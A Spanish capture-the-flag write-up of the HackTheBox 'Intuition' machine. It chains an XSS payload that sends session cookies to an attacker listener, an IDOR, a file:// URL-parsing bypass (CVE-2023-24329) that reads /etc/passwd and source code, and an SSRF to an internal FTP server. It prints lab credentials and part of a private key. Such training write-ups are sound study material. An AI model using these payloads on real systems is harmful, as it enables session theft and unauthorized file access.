Intuition – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Hard /Difícil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Intuition” es una máquina de dificultad difícil de la plataforma HackTheBox
. Luego de una inspección inicial de la página web de la máquina víctima, somos capaces de encontrar algunos subdominios. Uno de éstos tiene un formulario vulnerable a Cross-Site Scripting
(XSS
), lo cual nos permite tener acceso a un panel de desarrollador. Dentro de esta panel, somos capaces de obtener una cookie de admin a través de una pequeña vulnerabilidad IDOR
. Una vez dentro del panel de administrador, somos capaces de generar reportes PDF
. Este servicio usa una librería vulnerable a CVE-2023-24329, la cual nos permite leer archivos enel sistema. Es así como somos capaces de leer archivos dentro de un servicio FTP
interno y ganar así acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales desde una base de datos SQLite
, con lo cual tenemos acceso a nuevos recursos en el servicio FTP
. Dentro de estos archivos, somos capaces de encontrar un código de autenticacion. Somos entonces capaces de leer algunos logs y encontrar la contraseña de un nuevo usuario. Este nuevo usuario puede correr un binario con sudo
. Luego de una pequeña ingeniería inversa, somos capaces de inyectar código a través de este binario y ganar así total control sobre el sistema.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
, éste sólo muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
.
❯ sudo nmap -sVC -p22,80 10.10.11.15 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 13:57 -04
Nmap scan report for 10.10.11.15
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.63 seconds
Del escaneo noto que el sitio http://10.10.11.15
redirige a http://comprezzor.htb
. De manera que agrego este nuevo dominio al archivo /etc/hosts
:
❯ echo '10.10.11.15 comprezzor.htb' | sudo tee -a /etc/hosts
Ya agregado, visitamos http://comprezor.htb
y podemos ver el siguiente sitio web:
El sitio web presenta una herramienta que puede ser usado para comprimir archivos. Podemos subir archivos .txt
, .pdf
, y .docx
. Intento subir algunos archivos con payloads, pero no funcionan.
Es entonces que buscamos por subdominios (ya que el sitio podría estar aplicando vhosting
) usando la herramienta ffuf
. Corremos entonces:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -fs 178 -t 55
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://comprezzor.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.comprezzor.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 55
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 159ms]
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 242ms]
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 155ms]
:: Progress: [4989/4989] :: Job [1/1] :: 343 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
y obtenemos 3 subdominios: auth
, report
y dashboard
.
Agrego estos nuevos subdominios a mi archivo /etc/hosts
. De manera que ahora éste se ve como:
❯ tail -n1 /etc/hosts
10.10.11.15 comprezzor.htb auth.comprezzor.htb report.comprezzor.htb dashboard.comprezzor.htb
Una vez agregado los subdominios, visitamos http://report.comprezzor.htb
. Podemos ver un sitio web el cual nos permite reportar bugs:
Clickeando en Report a Bug
redirige a http://auth.comprezzor.htb/login
dado que no estamos registrados.
Dado que no tengo credenciales y las credenciales por defecto (como admin:admin
, guest:guest
, root:root
, etc) no funcionan decido crear/registrar una nueva cuenta. Una vez registrada la cuenta me logueo en el panel. Una vez logueado, somos redirigidos a http://report.comprezzor.htb
(donde también puedo ver el mensaje Logged in succesfully!
). Ahora, si clickeo en Report a Bug
podemos ver el siguiente panel:
Para ver si podemos inyectar algo en este formulario, inicializo Burpsuite
para interceptar la petición enviada en el formulario. Enviamos el reporte y es interceptado, donde obtenemos una petición por POST
como la siguiente:
POST /report_bug HTTP/1.1
Host: report.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://report.comprezzor.htb
DNT: 1
Connection: close
Referer: http://report.comprezzor.htb/report_bug
Cookie: user_data=eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogImd1bnpmMHgiLCAicm9sZSI6ICJ1c2VyIn18ZDFjZWE0Zjg1ODNkNGE5N2FiN2VlZjM0ZTNkMzRkMmYyNGIyMTE4ZWY5M2EyNDBmOTA0MTUyM2JhNjU0NzI5Ng==
Upgrade-Insecure-Requests: 1
report_title=title&description=test
donde puedo ver 2 parámetros: report_title
y description
. Para jugar con estos parámetros envío esta petición al Repeater
de Burpsuite
.
Luego de algunas inyecciones, la siguiente inyección con Cross Site Scripting
(XSS
) funciona en el parámetro description
:
<script>document.location="http://10.10.16.6:8000/xss-76.js?cookie="+btoa(document.cookie);</script>
donde 10.10.16.6
es mi IP de atacante y 8000
es el puerto en el cual ya estoy en escucha con netcat
. Podemos ver más payloads de XSS
en PayloadAllTheThings
en su repositorio.
Por tanto, la petición por POST
enviada a través de Burpsuite
se ve como:
POST /report_bug HTTP/1.1
Host: report.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Origin: http://report.comprezzor.htb
DNT: 1
Connection: close
Referer: http://report.comprezzor.htb/report_bug
Cookie: user_data=eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogImd1bnpmMHgiLCAicm9sZSI6ICJ1c2VyIn18ZDFjZWE0Zjg1ODNkNGE5N2FiN2VlZjM0ZTNkMzRkMmYyNGIyMTE4ZWY5M2EyNDBmOTA0MTUyM2JhNjU0NzI5Ng==
Upgrade-Insecure-Requests: 1
report_title=test&description=<script>document.location%3d"http%3a//10.10.16.6%3a8000/xss-76.js%3fcookie%3d"%2bbtoa(document.cookie)%3b</script>
y en mi listener con netcat
obtengo:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 60714
GET /xss-76.js?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1
Host: 10.10.16.6:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Decodeando el mensaje que está en base64
, tenemos:
❯ echo -n 'dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA==' | base64 -d
user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
Tenemos una cookie.
Noto del listener de netcat
que el Referer
es http://dashboard.comprezzor.htb/
. Visitando esta página redirige a http://auth.comprezzor.htb/login
(el panel de login que ya habíamos visitado previamente). En mi browser de internet Firefox
, si chequeo qué tengo en el Storage
/Almacenamiento
(presionando Ctrl+Shift+I
) veo que tenemos una cookie llamada user_data
, el cual es el mismo nombre de la cookie obtenida a través de XSS
. Por tanto, reemplazo el valor de la cookie user_data
con el nuevo valor hallado y re-visito http://dashboard.comprezzor.htb
. Ahora podemos ver una especie de panel que muestra múltiples reportes:
Al lado izquierdo podemos hacer click en los IDs de los reportes 1
, 2
, 3
y así. Cuando clickeo en uno de ellos podemos ver, por ejemplo:
Noto que, cuando subo un reporte a http://report.comprezzor.htb/report_bug
usando la cookie obtenida, estamos subiendo un reporte como el usuario adam
; dado que si recargo la página ahora tenemos:
Noto, además, que todos los reportes tienen un parámetro Priority
. Como se puede apreciar en la imagen que muestra un reporte, we podemos definir la prioridad de un reporte como Low
o High
clickeando en la opción correspondiente. Asumo que las prioridades altas (High
) tienen un trato especial y, por ende, son revisadas por un usuario diferente de adam
. Envío un reporte como el usuario adam
con nombre test2
y el payload de XSS
que hemos usado previamente. Si volvemos a chequear la página, nuestro reporte está allí:
El problema yace en que cuando clickeo en 25
(la ID del reporte que contiene el payload XSS
) éste ejecuta el payload y me retorna la cookie de adam
(la cual ya tenemos). Dado que queremos cambiar la prioridad de nuestro payload de 0
(Low
) a 1
(High
) abro otro de los reportes que ya existen, clickeo en Set High Priority
e intercepto la petición enviada con Burpsuite
. La petición POST
enviada es:
POST /change_priority?report_id=3&priority_level=1 HTTP/1.1
Host: dashboard.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://dashboard.comprezzor.htb
DNT: 1
Connection: close
Referer: http://dashboard.comprezzor.htb/report/3
Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4==
Upgrade-Insecure-Requests: 1
Aquí modificaré el parámetro en la petición POST
a través de un IDOR
de la url /change_priority?report_id=3&priority_level=1
a /change_priority?report_id=25&priority_level=1
; donde pasamos de modificar el post con ID 3
, a report_id=25
dado que 25
es el reporte que contiene el payload XSS
. Luego de modificarlo y enviarlo, y luego de empezar un nuevo listener en el puerto 8000
con netcat
, obtengo una nueva cookie:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 36514
GET /xss-76.js?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ== HTTP/1.1
Host: 10.10.16.6:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Decodeando la cookie tenemos:
❯ echo -n 'dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ==' | base64 -d
user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Entonces reemplazo la cookie del sitio http://dashboard.comprezzor.htb/
con este nuevo valor, recargo la página y estamos dentro como el usuario admin
:
Allí puedo ver un botón Create PDF Report
. Clickeando en este botón, éste nos pregunta por la url de un PDF
. Decido ver cuál es la petición que envía si es que pongo mi dirección IP (y, de nuevo, luego de empezar un listener con netcat
en el puerto 8000
):
Y en mi listener obtengo algo:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 42234
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.6:8000
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close
Aquí puedo ver que el User-Agent
es Python-urllib/3.11
. Buscando por vulnerabilidades para esta librería encontramos CVE-2023-24329 descrito como:
Python
before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters.Básicamente, en el campo de url, podemos pasar el payload:
file:///etc/passwd
Notando que antes de la palabra file
tenemos un espacio (
) el cual nos permite, según describe la vulnerabilidad, bypassear los filtros.
Esto genera un reporte PDF
el cual contiene:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-
timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin avahi:x:105:110:Avahi mDNS
daemon,,,:/run/avahi-daemon:/usr/sbin/nologin geoclue:x:106:111::/var/lib/geoclue:/usr/sbin/nologin
de manera que hemos logrado un Local File Inclusion
(LFI
).
Pero todavía necesitamos de paths/rutas para leer archivos. Podemos chequear procesos corriendo leyendo los archivos /proc/self/cmdline
, con el payload:
file:///proc/self/cmdline
(No olvidar el espacio antes del payload)
Una vez descargado, obtenemos un PDF
con un contenido el cual nos muestra un proceso:
python3/app/code/app.py
donde encontramos una app de Python
corriendo llamada /app/code/app.py
.
Entonces inyectamos la url:
file:///app/code/app.py
Y ahora obtenemos:
from flask import Flask, request, redirect from blueprints.index.index import main_bp from blueprints.report.report
import report_bp from blueprints.auth.auth import auth_bp from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__) app.secret_key = "7ASS7ADA8RF3FD7" app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB ALLOWED_EXTENSIONS = {'txt',
'pdf', 'docx'} # Add more allowed file extensions if needed app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report') app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard') if __name__ == '__main__': app.run(debug=False,
host="0.0.0.0", port=80)
Reordenando el código tenemos el siguiente código de Python
:
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'} # Add more allowed file extensions if needed
app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=80)
Donde tenemos una potencial contraseña: 7ASS7ADA8RF3FD7
.
Noto, además, que este script está importando la librería blueprints
. Buscando por esta librería, se ve que esta es una librería para Flask
(lo cual hace sentido que que el archivo se llame app.py
). Como se explica en este post de StackOverflow y la documentación Blueprints, esperamos que la librería blueprints
se encuentre en el directorio actual donde se encuentra localizado app.py
, dentro del directorio /blueprints
. Es así como intentamos leer el archivo /app/code/blueprints/auth/auth.py
y obtenemos el código:
from flask import Flask, Blueprint, request, render_template, redirect, url_for, flash, make_response
from .auth_utils import *
from werkzeug.security import check_password_hash
app = Flask(__name__)
auth_bp = Blueprint('auth', __name__, subdomain='auth')
@auth_bp.route('/')
def index():
return redirect(url_for('auth.login'))
@auth_bp.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = fetch_user_info(username)
if (user is None) or not check_password_hash(user[2], password):
flash('Invalid username or password', 'error')
return redirect(url_for('auth.login'))
serialized_user_data = serialize_user_data(user[0], user[1], user[3])
flash('Logged in successfully!', 'success')
response = make_response(redirect(get_redirect_url(user[3])))
response.set_cookie('user_data', serialized_user_data, domain='.comprezzor.htb')
return response
return render_template('auth/login.html')
@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = fetch_user_info(username)
if user is not None:
flash('User already exists', 'error')
return redirect(url_for('auth.register'))
if create_user(username, password):
flash('Registration successful! You can now log in.', 'success')
return redirect(url_for('auth.login'))
else:
flash('Unexpected error occurred while trying to register!', 'error')
return render_template('auth/register.html')
@auth_bp.route('/logout')
def logout():
pass
Donde podemos ver que el código está revisando el login para la página http://auth.comprezzor.htb
.
También somos capaces de encontrar los archivos /app/code/blueprints/report/report.py
y /app/code/blueprints/index/index.py
, pero ninguno de ellos nos dan información interesante.
Pero el archivo más interesante /app/code/blueprints/dashboard/dashboard.py
, dado que si lo revisamos, tenemos el código:
from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import get_report_by_priority, get_report_by_id, delete_report, get_all_reports, change_report_priority, resolve_report
import random, os, pdfkit, socket, shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime
dashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')
pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']
@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] == 'admin':
reports = get_report_by_priority(1)
elif user_info['role'] == 'webdev':
reports = get_all_reports()
return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)
@dashboard_bp.route('/report/', methods=['GET'])
@login_required
def get_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] in ['admin', 'webdev']:
report = get_report_by_id(report_id)
return render_template('dashboard/report.html', report=report, user_info=user_info)
else:
pass
@dashboard_bp.route('/delete/', methods=['GET'])
@login_required
def del_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] in ['admin', 'webdev']:
report = delete_report(report_id)
return redirect(url_for('dashboard.dashboard'))
else:
pass
@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
report_id = int(request.args.get('report_id'))
if resolve_report(report_id):
flash('Report resolved successfully!', 'success')
else:
flash('Error occurred while trying to resolve!', 'error')
return redirect(url_for('dashboard.dashboard'))
@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] != ('webdev' or 'admin'):
flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')
return redirect(url_for('dashboard.dashboard'))
report_id = int(request.args.get('report_id'))
priority_level = int(request.args.get('priority_level'))
if change_report_priority(report_id, priority_level):
flash('Report priority level changed!', 'success')
else:
flash('Error occurred while trying to change the priority!', 'error')
return redirect(url_for('dashboard.dashboard'))
@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
global pdf_report_path
if request.method == 'POST':
report_url = request.form.get('report_url')
try:
scheme = urlparse(report_url).scheme
hostname = urlparse(report_url).netloc
try:
dissallowed_schemas = ["file", "ftp", "ftps"]
if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1') or (hostname in allowed_hostnames)):
print(scheme)
urllib_request = urllib.request.Request(report_url, headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhM'})
response = urllib.request.urlopen(urllib_request)
html_content = response.read().decode('utf-8')
pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000,90000))}.pdf'
pdfkit.from_string(html_content, pdf_filename)
return send_file(pdf_filename, as_attachment=True)
except:
flash('Unexpected error!', 'error')
return render_template('dashboard/create_pdf_report.html')
else:
flash('Invalid URL', 'error')
return render_template('dashboard/create_pdf_report.html')
except Exception as e:
raise e
else:
return render_template('dashboard/create_pdf_report.html')
@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
backup_filename = f'app_backup_{current_datetime}.zip'
with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, _, files in os.walk(source_directory):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, source_directory)
zipf.write(file_path, arcname=arcname)
try:
ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
ftp.cwd('/')
with open(backup_filename, 'rb') as file:
ftp.storbinary(f'STOR {backup_filename}', file)
ftp.quit()
os.remove(backup_filename)
flash('Backup and upload completed successfully!', 'success')
except Exception as e:
flash(f'Error: {str(e)}', 'error')
return redirect(url_for('dashboard.dashboard'))
donde de la línea:
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
tenemos credenciales: ftp_admin:u3jai8y71s2
.
De manera que asumo que el servicio File Transfer Protocol
(FTP
) está corriendo internamente en la máquina víctima. Podemos entonces tratar un Server-Side Request Forgery
(SSRF
) con el payload/url:
ftp://ftp_admin:u3jai8y71s2@ftp.local
y obtenemos el output:
-rw------- 1 root root 2655 May 27 20:05 private-8297.key
-rw-r--r-- 1 root root 15519 May 27 20:05 welcome_note.pdf
-rw-r--r-- 1 root root 1732 May 27 20:05 welcome_note.txt
donde tenemos un aarchivo llamado welcome_note.txt
y una key privada llamada private-8297.key
.
Revisando el archivo .txt
con el payload/url:
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
Tenemos:
Dear Devs, We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your
arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely
delighted to have you on board. Here, we value talent, innovation, and teamwork, and your presence here reaffirms our
commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are
invaluable assets that will contribute significantly to our continued growth and success. As you settle into your new
role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way,
ensuring that you have the resources and knowledge necessary to thrive in your position. To facilitate your work and
access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to
access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any
questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out
for assistance. In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative
thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products. Once
again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing
your exceptional contributions. Together, we will continue to achieve great things. If you have any questions or need
further information, please feel free to me at adam@comprezzor.htb. Best regards, Adam
El mensaje habla de una passphrase que se da para llaves/keys SSH
la cual es Y27SH19HDIWD
.
Revisando el archivo private-8297.key
con el payload/url:
ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
Tenemos la key/llave:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDyIVwjHg
cDQsuL69cF7BJpAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6ud
KETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lA
KK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7
x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BR
BdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JX
U0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQk
TlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+
efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbc
JFGDBQ+X3QelEAAAWQ+YGB02Ep/88YxudrpfK8MjnpV50/Ew4KtvEjqe4oNL4zLr4qpRec
80EVZXE2y8k7+2Kqe9+i65RDTpTv+D88M4p/x0wOSVoquD3NNKDSDCmuo0+EU+5WrZcLGT
ybB8rzzM+RZTm2/XqXvrPPKqtZ9jGIVWhzOirVmbr7lU9reyyotru1RrFDrKSZB4Rju/6V
YMLzlQ0hG+558YqQ/VU1wrcViqMCAHoKo+kxYBhvA7Pq1XDtU1vLJRhQikg249Iu4NnPtA
bS5NY4W5E0myaT6sj1Nb7GMlU9aId+PQLxwfPzHvmZArlZBl2EdwOrH4K6Acl/WX2Gchia
R9Rb3vhhJ9fAP10cmKCGNRXUHgAw3LS/xXbskoaamN/Vj9CHqF1ciEswr0STURBgN4OUO7
cEH6cOmv7/blKgJUM/9/lzQ0VSCoBiFkje9BEQ5UFgZod+Lw5UVW5JrkHrO4NHZmJR7epT
9e+7RTOJW1rKq6xf4WmTbEMV95TKAu1BIfSPJgLAO25+RF4fGJj+A3fnIB0aDmFmT4qiiz
